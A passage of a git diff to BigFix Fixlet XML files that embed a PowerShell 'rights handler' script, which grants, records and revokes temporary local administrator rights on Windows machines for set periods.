+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25218">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant all local administrators temporary administrative rights for 5 days.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
+// -Current Temporary Administrators
+// -Local Admin Account (Can't Remove)
+
+parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (5 * day)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25219">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant all local administrators temporary administrative rights permanently.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
+// -Current Temporary Administrators
+// -Local Admin Account (Can't Remove)
+
+parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (1000000 * week)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows (24158).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows (24158).bes
index c09b32d46..a9d5c6a46 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows (24158).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows (24158).bes	
@@ -1,815 +1,815 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows
-  ID       : 24158
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-05-02T07:25:25
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet cycles through all explicitely defined local administrators and marks them as temporary administrators. This can be used to expire administrative rights over time.</P>
-<P>This fixlet by itself does not remove their administartive rights when the expiration time passes. Removing their access requires&nbsp;the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to be run as a policy action.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(number of elements of it > 0) of ( /*Authorized Requestors who have Permanent Administrative Rights */ intersection of ( /* Authorized Requestors who have any Admin */   set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry;   set of component strings of (sids of members of local group "Administrators") whose (exists user of it)  ) /* Subtract Current Temporary Administrators */ - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry  )]]></Relevance>
-    <Category>Temporary Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights for 1 hour.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
-// -Current Temporary Administrators
-
-parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (1 * hour)}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action25221">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights for&amp;nbsp;5 hours.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
-// -Current Temporary Administrators
-
-parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (8 * hour)}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
